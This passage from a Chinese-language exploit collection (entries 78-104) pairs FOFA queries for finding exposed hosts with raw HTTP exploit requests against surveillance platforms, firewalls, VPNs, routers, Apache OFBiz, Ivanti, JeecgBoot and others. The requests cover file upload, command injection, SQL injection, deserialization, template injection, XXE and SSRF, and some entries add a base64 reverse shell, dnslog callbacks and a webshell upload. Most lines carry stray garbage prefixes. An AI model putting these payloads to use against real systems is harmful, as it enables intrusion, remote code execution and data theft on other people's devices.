, i5 G3 ?3 T) u; p( @% _/ `Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
- I' |# q+ Z0 u  \! r  EContent-Type: application/octet-stream

1 N* R& v$ P6 r* k* \' z6 xhello1234567
+ l% v% M9 o: v2 P$ u$ B4 d------------398jnjVTTlDVXHlE7yYnfwBoix
0 s  ^- D$ d1 y0 q: ^Content-Disposition: form-data; name="Upload"

Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--


. A5 F: S: v4 w" f) b( ^+ `78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
9 {1 i5 @4 w" G! l7 X" C8 ]: A* G8 J1 O9 JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
) K- o% F# c% B' FContent-Length: 336
Accept-Encoding: gzip
3 p& i9 ?. J8 {3 I1 i% FContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

5 z0 x' @: F: u, P4 ]4 D------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
9 S' p- n; A1 u/ {7 V! pContent-Type: image/png

0 P% j- X, D" k1 t! _; Y' }, aYsOxWxSvj1KyZow1PTsh98fdu6l
0 o( I9 U( }8 g! w- U; X% S" v  t------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
% G$ f# Q3 g; e  m2 o( [
/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--
( h4 g4 D* O" E  g5 P  T8 R

GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
8 n* ~8 Q& |! {3 J& Y
; C! \: J5 Z; q: V5 s! D- Y( Z
7 u& V. V$ |2 ~2 U  o79. BYTEVALUE 百为流控路由器远程命令执行
" o: w6 }' X3 e; IFOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
/ s# N- l! o: ~( v" h; F5 O5 j) SHost:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 O) e6 m. I4 O: Q6 RAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 W1 |. |" b1 k% ~Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
% t) b4 ?3 B* \7 Q7 ^3 k
& ?) T, I! q$ j
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
! Q$ k8 o7 B; Q5 Y1 s8 f, H; p6 Y* LFOFA：app="速达软件-公司产品"
( J$ K: g: z" f2 S. X8 e( DPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 z/ q- ?3 X  i8 `# A8 l3 FContent-Length: 27
6 r1 {- k8 c6 Z, [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  y& f& X/ @6 O- ~0 ^- AAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- H, ^& i! f) w# fConnection: close
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1

* X: s/ D0 }) I3 R2 x5 o<% out.print("oessqeonylzaf");%>
: ]$ {( c3 M7 @

1 G: l3 L5 f+ z7 v' K9 zGET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip


0 y" j8 b( G6 S- R5 k* A81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
- C8 C$ R2 U0 j2 H0 U2 q  X5 L0 a& ?( CFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
' P! f7 y$ _" v; J+ YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

% M4 V- @3 W3 z; |. n- F- X
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
; ^$ F$ |1 ?& w& wHost: BaseURL
User-Agent: Go-http-client/1.1
Content-Length: 23
6 F% j8 T6 \1 J3 b; [+ E( e" aAccept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
5 `* p# f9 p, aReferer: BaseURL

$ w" {; p/ O' V) Uz1=1&z2="|id;"&z3=bhost
! r; y2 a" _9 X* @
- \- ?8 h' Z  e7 u9 i1 g
1 P' H2 A  z& K  y% T83. JeecgBoot testConnection 远程命令执行
: W' n( a# V+ Y# L9 y# @  KFOFA：title=="JeecgBoot 企业级低代码平台"
$ j( h* o3 c/ y4 D) K# t5 }+ D& u

8 A$ J/ o! p; N  z" f8 `$ nPOST /jmreport/testConnection HTTP/1.1
( x4 l9 K: a9 _4 U3 x1 zHost: x.x.x.x
. E0 A8 l- O" |" p8 vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ w! F- @8 M6 ~$ T. D1 S3 DConnection: close
  E  v+ ]( l9 q8 P* X; ?Content-Length: 8881
) m& ?9 \0 E  I/ I- q% o$ E% V) aAccept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json

PAYLOAD
; }4 V  K9 r4 G" |3 H
0 G4 l/ S3 I9 L+ ?) i84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
6 M' N9 B  `! p* ]0 _
+ r4 K( V* B  Y( r1 T. N: B

  m6 \% N$ k+ S8 mPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
5 o( H4 e4 h) IUser-Agent: curl/7.88.1
; e; Y# I6 f6 `Content-Length: 156
Accept: */*
Connection: close
5 o% ~2 F7 H4 M7 C+ DContent-Type: application/json
Accept-Encoding: gzip
7 ^6 V: e3 }: h0 b
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}
' Q% H. z' g% S3 Q5 W5 n

85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
: n7 V1 C# K5 M% q. WEXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
/ L5 Q9 `* `# ~Host: x.x.x.x
/ d  l6 r. r' _0 |6 S3 iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* x- c: @7 x0 e. h/ j% \/ EContent-Type: application/octet-stream
Accept-Encoding: gzip
8 o- M4 j& b& F! F6 X
2 P2 _2 K# i. H6 R. WPAYLOAD
& r: ]6 T0 j: l+ d. F8 {
- l$ [& o4 j" C0 y7 _) c回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
1 t" E/ ~' D, Y! y7 `) gFOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
- \# v8 v4 k# t4 H9 ?Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
9 K) ~' i! U* w( R/ v6 nContent-Length: 44
Accept: */*
Accept-Encoding: gzip
' ]6 |4 p, H) d$ L' y  CAccept-Language: en
Content-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping


87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
: J# g! l0 I7 A8 Z2 X: v2 N9 l6 S5 tHost: X.X.X.X
; p4 c9 u" Q1 P' i: zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# X4 m# h8 y1 o4 m  UConnection: close
* B; }/ `) \. p! ^. sContent-Length: 198
8 c3 u' p8 |: B$ q5 u' EAccept-Encoding: gzip
2 ^0 @) x  b9 o9 o" bContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

' J( K# K9 H7 @--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain

2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--
5 Q" q. Q" p$ j: p

/jfhatuwe.php

) a. Q, B6 U2 [, B88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
. C! Z, b7 r6 a. `FOFA：title="明御安全网关"
$ I6 E& e! b  n1 d' b7 J& m$ M  gGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
. @/ m1 l6 V3 }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
5 D. k6 Y& d  J
1 b9 E( B" u, }- ~4 @8 s4 u
/astdfkhl.php
2 {6 x" M6 Q! r% w/ N
  q# ?) K! w' ~* R% E: S89. 致远互联FE协作办公平台editflow_manager存在sql注入
4 V4 j$ W9 X1 B* z5 P9 TFOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
2 p$ i8 @7 O* l8 V! _) VHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
( u0 l) t$ I6 v$ X: lAccept-Encoding: gzip

option=2&GUID=-1'+union+select+111*222--+
5 v+ ^. t8 k% A3 j' G% `

, y5 V3 j2 m! ^2 M- S' g  ]90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
# U$ e' g7 U( T8 |- }6 h6 qPOST /php/ping.php HTTP/1.1
2 L7 D7 Z, H  m. z1 ~/ `  THost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
( @3 k5 c( r+ kContent-Length: 51
8 G2 u+ j' O0 p' e: UAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
( {6 S- R* ]: S) }$ C, h  f' g! BAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
3 z9 @- f% w' Y' U! F5 R( a" cContent-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
7 q! z9 k& Y/ B) S4 n$ s0 F
jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

: _( e% M& q8 H0 Y& `
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
3 R0 H  o8 t; P7 A, IGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
* z* c, L8 t( G; c$ H; AHost: your-ip
- x# n* e9 f6 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
& F& d' ~2 M* E/ C. j0 M  oAccept-Encoding: gzip, deflate
; U" _- p1 e* X' }3 sAccept: */*
Connection: keep-alive
, [( Q( M5 |+ @) g6 k( ~& z
: h. i! `2 J. K9 x

92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
' ~3 N4 n# t, l  I3 j! L% w$ gHost:
/ Y9 L$ u! T0 ~. g. ^$ jAccept: application/json, text/plain, */*
, V1 T1 ~9 u# T! l5 N5 }Accept-Encoding: gzip, deflate
2 `% f5 g# B, ^# j  `X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
Testcmd: echo test
. n0 N1 e+ Q+ L! B5 ?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
2 r* h5 ?' e5 K0 EAccept-Language: zh-CN,zh;q=0.9
1 r0 Q+ a! U& s9 ~8 B( CContent-Length: 5778
! j, C6 G. p9 ?! o2 \9 t
PAYLOAD
) R: N9 d, |- B6 \

" N. q& ?& I9 L5 ?1 ~, Y2 s93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
- V5 z/ c6 [- [* g* h; H. @" ]FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
3 ]  B+ Y$ N5 fContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
/ l* v! b" Q. x$ Y1 f/ kUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
; X% p+ f5 U7 j* ~
------WebKitFormBoundarykcbkgdfx
5 M1 S5 f+ U, l4 \5 aContent-Disposition: form-data; name="MAX_FILE_SIZE"
2 l3 \% ~: n5 e  g7 ~4 O
4 J, B: ~( M1 d8 x10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain
  V. ]5 }7 t6 ~1 o2 y. v1 q& G1 F
( t3 F; s2 X% J. m" F) O8 Ewagletqrkwrddkthtulxsqrphulnknxa
, D7 g" _" q  T6 z. D3 r------WebKitFormBoundarykcbkgdfx
# f8 R1 q5 z" Q% s  jContent-Disposition: form-data; name="submit_post"
' P' j0 y2 G5 a) u$ L% Y9 M
obj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

( `7 ?4 \% {. S  H4 l: Q0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--


GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
6 |8 k1 A! k4 w7 [
$ U' S- [0 }) m6 ?8 \
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
3 `5 c; q. G) Z; {1 K9 ^3 F( j5 t5 eFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
3 i# f. }! K$ i, Y$ U- uPOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
* c& b4 O0 ?- \; G' Y" {4 F- sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

" U4 h! L; x6 J1 p3 }------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"

8 J2 S9 Y! s/ h1 D  k8 h10000000
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
: Q; s) s* \7 _) K: HContent-Type: text/plain
0 e9 e# `0 t& A" |: N; f
pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
) x; E& a3 @; Y/ f- HContent-Disposition: form-data; name="submit_post"
8 p, n; Q! B3 Y/ s
obj_app_upfile
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
/ z+ a1 Z7 C. f/ q! a7 b4 i6 v------WebKitFormBoundarybqvzqvmt--
4 k( R5 Q  _$ r! T( A* ?3 g" ~
8 Y  ]0 R2 Q. x' n" V
1 b+ F6 H& r# v) _( h1 c, D
GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
5 w8 B: e+ ]6 x' u$ uUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36



95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
- z- S3 L, I* n- D; |5 F- ~CVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
5 F% _' _: q  W5 mUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

<?xml version="1.0"?>
; Q6 p, C  }% I7 g<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
      <param>
      <value>
        <struct>
! I5 ?( H# u3 k1 P       <member>
2 z- W1 s5 K* {          <name>test</name>
8 _4 m6 S6 z- r- v. R' b7 v* I          <value>
# s' K+ H4 a1 N  n" T2 N) w6 S) C2 K      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
8 V4 D1 k% O; w/ v$ V          </value>
        </member>
      </struct>
$ [" d% X& ]* T4 V4 n) m      </value>
% x) H% x  ~) |( K  ], [0 N6 X    </param>
    </params>
</methodCall>

5 s; l# ]  z) }1 N. ?& d/ V6 M
用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


2 w+ |3 }" J( D1 I8 g" I9 Q: t( R将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
) l! K* M/ i; u3 t5 I: nHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
+ Q4 ?2 W& t8 ^5 NContent-Length: 889
$ O8 U& j0 C( `& h. E6 j5 [Content-Type: application/xml
Accept-Encoding: gzip

PAYLOAD

; z& c0 @# S% c9 X3 i/ u5 Z96. Apache OFBiz  18.12.11 groovy 远程代码执行
) z: x$ i+ ^$ p) S" yFOFA：app="Apache_OFBiz"
' F* Q1 n0 ]/ h9 `6 i* o) I8 {POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
8 P/ F9 _" U. DAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
: Y0 m) \6 K/ P. Q- v5 K
groovyProgram=throw+new+Exception('id'.execute().text);


反弹shell
在kali上启动一个监听
nc -lvp 7777

! [  ~4 B  R5 [) PPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
) ^2 w! U* r$ M3 [: XFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
' V/ t, _$ b4 W7 z4 sHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
4 B9 P# v% M6 k6 c% eCookie: rememberMe=PAYLOAD
+ p9 {: g% }: r" T8 MX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
& o# o' ?1 p7 G4 s+ ^0 E4 [3 n' K0 K
! V* A6 Z4 p% m7 `6 e
98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
. Y1 ^. d; R7 nFOFA：app="SpiderFlow"
/ ^5 z4 j- ?* P: tPOST /function/save HTTP/1.1
Host: 192.168.40.130:8088
7 ^7 X- N6 o. T, ]  WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
' C9 H7 b& J( I( ?0 _7 [Connection: close
Content-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
& s3 |" V( z! H' n9 }# I  AAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! B! R8 R  [2 \) IContent-Type: application/x-www-form-urlencoded; charset=UTF-8
" R- x. Z4 I8 v; \0 j9 l6 y4 q: UX-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B


99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
7 m5 Q7 s' U/ B& J5 \% V+ }FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
; K; v; P3 C- a% f; Y6 UAccept: */*
1 ?4 L2 Q6 L* A; |6 F9 DAccept-Encoding: gzip, deflate
* b1 X  Q9 _2 I$ m. u5 E* i: e% jAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. a# I$ T* F& d, w3 tContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
4 _6 y/ X' z- l
5 [7 y  N4 M0 U  B1 i5 @
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
$ n: c' v# J5 o/ TCVE-2024-0352
FOFA：icon_hash="874152924"
9 I# J  O7 w7 T$ Q  B7 c6 k4 {3 pPOST /api/file/formimage HTTP/1.1
& D5 V+ M' y; X8 v) Z! @" ]Host: 192.168.40.130
7 t6 B4 o: o; _1 ^; q, D5 TUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
: `6 C# ]1 y# d9 @7 W' H* S' [Accept-Encoding: gzip

. z3 R; _  F' p/ S, l------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
3 V2 `$ b5 [* OContent-Type: application/x-php

3 L+ P0 w$ u9 E1 ?* u# [4 z* t2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--

- A9 m! Z+ N' b. j$ Z
3 s2 A# Z$ Y; S' N# X8 W; z. E3 t101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
3 d0 W5 _" K/ ]; H( AHost: x.x.x.xx.x.x.x
: L, F% J# N, t# \" B  O$ pUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
- D7 b8 V# K' c& m% c7 cAccept-Encoding: gzip


102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
( I8 p7 T: }2 o  T/ _* b; ^FOFA：body="welcome.cgi?p=logo"
- s! E/ t# f7 c4 E4 QPOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
5 z0 B$ h( ?  X) ?Accept-Encoding: gzip

<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
$ {* L. O6 C" a  mCVE-2024-22024
% k5 }- S9 r# y" [$ n0 q) G( [) RFOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
& }5 N4 P+ Q7 x8 z$ RUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
  S, O* \8 C5 _$ d* w& mContent-Length: 204
0 Y; W( ]+ `6 T, ?Content-Type: application/x-www-form-urlencoded
0 \# L* J0 B" x9 vAccept-Encoding: gzip
4 w* o$ x+ v! }
  C) N7 x& ?5 t1 @SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


% n: ]5 n, q$ F  w3 W7 v4 @其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
( ^) E* i9 @! R) m! l# \2 {+ l<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

" w9 x7 S$ R/ Z7 D
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
! r1 e- r5 v8 V" r* V3 |! pFOFA：title="TOTOLINK"
) H' _7 M3 x, u. T8 G9 }POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
" x. i5 H: ?9 e) GAccept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
7 D4 \+ h7 o9 ~User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
